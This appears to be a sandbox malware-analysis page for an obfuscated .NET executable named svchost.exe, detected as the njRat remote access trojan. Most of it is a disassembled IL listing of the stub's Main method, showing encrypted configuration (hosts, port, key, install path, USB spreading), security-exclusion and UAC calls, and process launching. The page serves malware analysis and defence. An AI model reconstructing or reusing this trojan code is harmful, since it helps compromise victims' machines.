Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Very high
1 malicious · 7 files
EXE0529a5892e6cb49def5866992e0289bdnjRat
Structure
Name Value
Module Name
svchost.exe
Full Name
svchost.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
svchost.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
svchost
Assembly Version
10.0.26100.4343
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
47
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
553
Main IL 
br.s IL_0007: ldc.i4 17
call <null>
ldc.i4 17
stloc V_16
br IL_0015: ldloc V_16
ldloc V_16
switch dnlib.DotNet.Emit.Instruction[]
br IL_093F: ldloc.s V_2
nop <null>
ldloc.s V_17
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldsfld bDX0MAXYvw2igUU0YW9 bDX0MAXYvw2igUU0YW9::NulXCAhw0K
call System.IO.DirectoryInfo bDX0MAXYvw2igUU0YW9::xZ9Xnyn2eH(System.Object,bDX0MAXYvw2igUU0YW9)
ldsfld Lbt5sZXfmW3L15sThof Lbt5sZXfmW3L15sThof::rk9XsIbM0H
call System.String Lbt5sZXfmW3L15sThof::xZ9Xnyn2eH(System.Object,Lbt5sZXfmW3L15sThof)
stloc.s V_4
ldc.i4 5
br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
ldloc V_9
switch dnlib.DotNet.Emit.Instruction[]
br IL_0114: ldc.i4 1000
br IL_01B4: ldloc.s V_17
ldc.i4 1
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_b85f4fbca6964783a2748e1ab4b64e85
brtrue IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
pop <null>
ldc.i4 0
br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
ldloc.s V_11
ldsfld HTBvgoXeuIgHAFfv0XO HTBvgoXeuIgHAFfv0XO::MmwXgV6hRO
call System.Void HTBvgoXeuIgHAFfv0XO::xZ9Xnyn2eH(System.Object,HTBvgoXeuIgHAFfv0XO)
ldc.i4 0
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_f5ff1992e3f84f769351025df75f9a1c
brfalse IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
pop <null>
ldc.i4 0
br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
ldc.i4 1000
ldsfld e9X8cCX2P2lWcdWHot7 e9X8cCX2P2lWcdWHot7::gv9XU9kgp0
call System.Void e9X8cCX2P2lWcdWHot7::xZ9Xnyn2eH(System.Int32,e9X8cCX2P2lWcdWHot7)
ldc.i4 4
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_93ba8c6adeec41749dfa57ee403394e8
brfalse IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
pop <null>
ldc.i4 7
br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
ldloc.s V_4
ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN
call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU)
ldsfld URRxqLX6429FEw9eAwy URRxqLX6429FEw9eAwy::zCFXIjgWBX
call System.IO.DirectoryInfo URRxqLX6429FEw9eAwy::xZ9Xnyn2eH(System.String,URRxqLX6429FEw9eAwy)
pop <null>
ldc.i4 3
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_4c72b42d16314c0592b0632588b25cdc
brfalse IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
pop <null>
ldc.i4 1
br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
ldloc.s V_17
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_11
ldc.i4 2
stloc V_9
br IL_0093: ldloc V_9
ldloc.s V_4
ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN
call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU)
ldsfld HtMPaCXZstxwWhvwuOT HtMPaCXZstxwWhvwuOT::rBpXRvYhg7
call System.Boolean HtMPaCXZstxwWhvwuOT::xZ9Xnyn2eH(System.String,HtMPaCXZstxwWhvwuOT)
brfalse IL_0142: ldloc.s V_4
ldc.i4 8
br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
ldloc.s V_17
ldsfld zSeWCXX1MDoXySrt5nX zSeWCXX1MDoXySrt5nX::eUGX5l4ZBn
call System.Boolean zSeWCXX1MDoXySrt5nX::xZ9Xnyn2eH(System.String,zSeWCXX1MDoXySrt5nX)
brfalse IL_0114: ldc.i4 1000
ldc.i4 6
br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
ldloc.s V_17
ldsfld System.Object aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::njxKBOPeC6
ldsfld NaETWMXShAewxOfDjTS NaETWMXShAewxOfDjTS::YctXDYMDZW
call System.Byte[] NaETWMXShAewxOfDjTS::xZ9Xnyn2eH(System.String,NaETWMXShAewxOfDjTS)
ldsfld QHRFRfXmxdSILqtpnry QHRFRfXmxdSILqtpnry::zitXErOVnp
call System.Void QHRFRfXmxdSILqtpnry::xZ9Xnyn2eH(System.String,System.Byte[],QHRFRfXmxdSILqtpnry)
ldc.i4 4
br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
leave IL_05B8: ldc.i4 1515351469
dup <null>
ldsfld MkjJMKXGT2kraUq32VC MkjJMKXGT2kraUq32VC::gIJXcRhRYw
call System.Void MkjJMKXGT2kraUq32VC::xZ9Xnyn2eH(System.Exception,MkjJMKXGT2kraUq32VC)
stloc.s V_6
ldc.i4 1
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_32aff03f58fd4b32ab16b90ba3ce20d3
brfalse IL_0229: switch(IL_0264,IL_023B)
pop <null>
ldc.i4 1
br IL_0229: switch(IL_0264,IL_023B)
ldloc V_15
switch dnlib.DotNet.Emit.Instruction[]
br IL_0264: leave IL_05B8
ldsfld zhZt1rXMXPQipS5N65H zhZt1rXMXPQipS5N65H::rsDXVVLsVZ
call System.Void zhZt1rXMXPQipS5N65H::xZ9Xnyn2eH(zhZt1rXMXPQipS5N65H)
ldc.i4 0
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_b85f4fbca6964783a2748e1ab4b64e85
brtrue IL_0229: switch(IL_0264,IL_023B)
pop <null>
ldc.i4 0
br IL_0229: switch(IL_0264,IL_023B)
leave IL_05B8: ldc.i4 1515351469
ldc.i4 4
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
ldsfld System.String Settings::InstallDir
ldc.i4 1757912505
ldc.i4 52242211
xor <null>
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_e396f081bf914ecba83adfbae46920ce
xor <null>
call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32)
ldsfld System.String Settings::InstallStr
ldsfld JHw8FKXAN9TDbEEJrm7 JHw8FKXAN9TDbEEJrm7::JGjXTVVSxT
call System.String JHw8FKXAN9TDbEEJrm7::xZ9Xnyn2eH(System.String,System.String,System.String,JHw8FKXAN9TDbEEJrm7)
stloc.s V_17
ldc.i4 15
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldsfld e9X8cCX2P2lWcdWHot7 e9X8cCX2P2lWcdWHot7::gv9XU9kgp0
call System.Void e9X8cCX2P2lWcdWHot7::xZ9Xnyn2eH(System.Int32,e9X8cCX2P2lWcdWHot7)
ldc.i4 9
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_4c72b42d16314c0592b0632588b25cdc
brfalse IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
pop <null>
ldc.i4 1
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
br IL_0568: call System.Void Stub.Main::Exclusion()
ldc.i4 6
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
call System.Void aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::nUwK0Lq7sD()
ldc.i4 7
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
nop <null>
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN
call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU)
stsfld System.String Settings::Hosts
ldc.i4 5
br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
ldloc V_7
switch dnlib.DotNet.Emit.Instruction[]
br IL_046D: ldsfld System.String Settings::Groub
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN
call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU)
stsfld System.String Settings::SPL
ldc.i4 0
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_e3dfa73ffe164ab492fdd0f667bd3368
brtrue IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
pop <null>
ldc.i4 0
br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN
call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU)
ldsfld qsl8wGXB2raAVlNWqvu qsl8wGXB2raAVlNWqvu::xASXktxQ9k
call System.String qsl8wGXB2raAVlNWqvu::xZ9Xnyn2eH(System.String,qsl8wGXB2raAVlNWqvu)
stsfld System.String Settings::InstallDir
ldc.i4 1
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_4349353f008a4839b1b4cb366be26255
brtrue IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
pop <null>
ldc.i4 1
br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN
call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU)
stsfld System.String Settings::USBNM
ldc.i4 0
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_1846a924e3a844fdb2bf9a8c0a11b159
brtrue IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
pop <null>
ldc.i4 3
br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN
call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU)
stsfld System.String Settings::KEY
ldc.i4 4
br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN
call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU)
stsfld System.String Settings::Port
ldc.i4 2
br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN
call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU)
stsfld System.String Settings::InstallStr
ldc.i4 6
br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN
call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU)
stsfld System.String Settings::Groub
ldc.i4 7
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_d4e53517e53f4322a01129fd1400ecee
brfalse IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
pop <null>
ldc.i4 7
br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
leave IL_09B2: call System.Boolean aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::wBLKFXNEud()
dup <null>
ldsfld MkjJMKXGT2kraUq32VC MkjJMKXGT2kraUq32VC::gIJXcRhRYw
call System.Void MkjJMKXGT2kraUq32VC::xZ9Xnyn2eH(System.Exception,MkjJMKXGT2kraUq32VC)
stloc.s V_3
ldc.i4 2
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_211565d2b26644ddbdb837cf9e9e9e52
brtrue IL_04DA: switch(IL_0543,IL_051A,IL_04F0)
pop <null>
ldc.i4 2
br IL_04DA: switch(IL_0543,IL_051A,IL_04F0)
ldloc V_10
switch dnlib.DotNet.Emit.Instruction[]
br IL_0543: leave IL_09B2
ldc.i4.0 <null>
ldsfld hYBIX8Xiyt9uWsrHbrF hYBIX8Xiyt9uWsrHbrF::PtCX43aCMu
call System.Void hYBIX8Xiyt9uWsrHbrF::xZ9Xnyn2eH(System.Int32,hYBIX8Xiyt9uWsrHbrF)
ldc.i4 1
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_69c013052fcf44d2b6204694e8138978
brtrue IL_04DA: switch(IL_0543,IL_051A,IL_04F0)
pop <null>
ldc.i4 1
br IL_04DA: switch(IL_0543,IL_051A,IL_04F0)
ldsfld zhZt1rXMXPQipS5N65H zhZt1rXMXPQipS5N65H::rsDXVVLsVZ
call System.Void zhZt1rXMXPQipS5N65H::xZ9Xnyn2eH(zhZt1rXMXPQipS5N65H)
ldc.i4 0
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_b4ebe58c937347369205077fe492f1ed
brfalse IL_04DA: switch(IL_0543,IL_051A,IL_04F0)
pop <null>
ldc.i4 0
br IL_04DA: switch(IL_0543,IL_051A,IL_04F0)
leave IL_09B2: call System.Boolean aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::wBLKFXNEud()
ldc.i4 4
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_c6d7ff3a18cf471b8854e63832e743dd
brtrue IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
pop <null>
ldc.i4 5
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
ret <null>
call System.Void Stub.Main::Exclusion()
ldc.i4 12
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
ldc.i4.0 <null>
ldsfld hYBIX8Xiyt9uWsrHbrF hYBIX8Xiyt9uWsrHbrF::PtCX43aCMu
call System.Void hYBIX8Xiyt9uWsrHbrF::xZ9Xnyn2eH(System.Int32,hYBIX8Xiyt9uWsrHbrF)
ldc.i4 13
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
ldloc.s V_2
ldsfld dKUMY0HHHXpGLNPyNYc dKUMY0HHHXpGLNPyNYc::B7QH7t2s9O
call System.Void dKUMY0HHHXpGLNPyNYc::xZ9Xnyn2eH(System.Object,dKUMY0HHHXpGLNPyNYc)
ldc.i4 0
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_4349353f008a4839b1b4cb366be26255
brfalse IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
pop <null>
ldc.i4 0
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
nop <null>
ldc.i4 1515351469
ldc.i4 1909800451
xor <null>
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_0f105b6618ba4105b60c300da2a58c42
xor <null>
call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_8
ldc.i4 6
br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
ldloc V_0
switch dnlib.DotNet.Emit.Instruction[]
br IL_0704: ldloc.s V_8
call System.String Stub.ClientSocket::UAC()
ldsfld f0kcAVHKKDnTA9qaud8 f0kcAVHKKDnTA9qaud8::WDGH3PM0tn
call System.Boolean f0kcAVHKKDnTA9qaud8::xZ9Xnyn2eH(System.String,f0kcAVHKKDnTA9qaud8)
brtrue IL_0731: ldloc.s V_8
ldc.i4 5
br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
br IL_0643: ldloc.s V_8
ldc.i4 3
br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
ldloc.s V_8
ldc.i4.5 <null>
newarr System.String
stloc.s V_13
ldloc.s V_13
ldc.i4.0 <null>
ldc.i4 882264746
ldc.i4 508622031
xor <null>
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_34ec70f218a54aa79419f4f1f1fc5246
xor <null>
call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32)
stelem.ref <null>
ldloc.s V_13
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldsfld ObBSKyHvU4WuGO1m1Oa ObBSKyHvU4WuGO1m1Oa::VaCHQeKQXd
call System.String ObBSKyHvU4WuGO1m1Oa::xZ9Xnyn2eH(System.String,ObBSKyHvU4WuGO1m1Oa)
stelem.ref <null>
ldloc.s V_13
ldc.i4.2 <null>
ldc.i4 -1400386390
ldc.i4 5
shl <null>
ldc.i4 -1693870519
xor <null>
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_5d71d0531b444f739537d8fc03faf5a4
xor <null>
call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32)
stelem.ref <null>
ldloc.s V_13
ldc.i4.3 <null>
ldloc.s V_17
stelem.ref <null>
ldloc.s V_13
ldc.i4.4 <null>
ldc.i4 2031172983
ldc.i4 -1972715937
xor <null>
ldc.i4 -908804420
xor <null>
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_d5135f5733f64121a9b3b3c512e625d0
xor <null>
call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32)
stelem.ref <null>
ldloc.s V_13
ldsfld vm8fZAH9oSU2I1207KI vm8fZAH9oSU2I1207KI::wSVHnsELvD
call System.String vm8fZAH9oSU2I1207KI::xZ9Xnyn2eH(System.String[],vm8fZAH9oSU2I1207KI)
ldsfld dDOfjXHLiwOhHnGsETp dDOfjXHLiwOhHnGsETp::futHdHSav3
call System.Void dDOfjXHLiwOhHnGsETp::xZ9Xnyn2eH(System.Object,System.String,dDOfjXHLiwOhHnGsETp)
ldc.i4 0
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_1c9d0144972348edae0a08f9f03c64e1
brfalse IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
pop <null>
ldc.i4 0
br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
ldloc.s V_8
ldsfld yePdF4HpRFtIhQiyR6X yePdF4HpRFtIhQiyR6X::aN0HqaS5eq
call System.Diagnostics.Process yePdF4HpRFtIhQiyR6X::xZ9Xnyn2eH(System.Diagnostics.ProcessStartInfo,yePdF4HpRFtIhQiyR6X)
stloc.s V_14
ldc.i4 5
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_18940d6a81ab4f1cba7726bce1fa455e
brtrue IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
pop <null>
ldc.i4 7
br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
ldloc.s V_8
ldc.i4.5 <null>
newarr System.String
stloc.s V_13
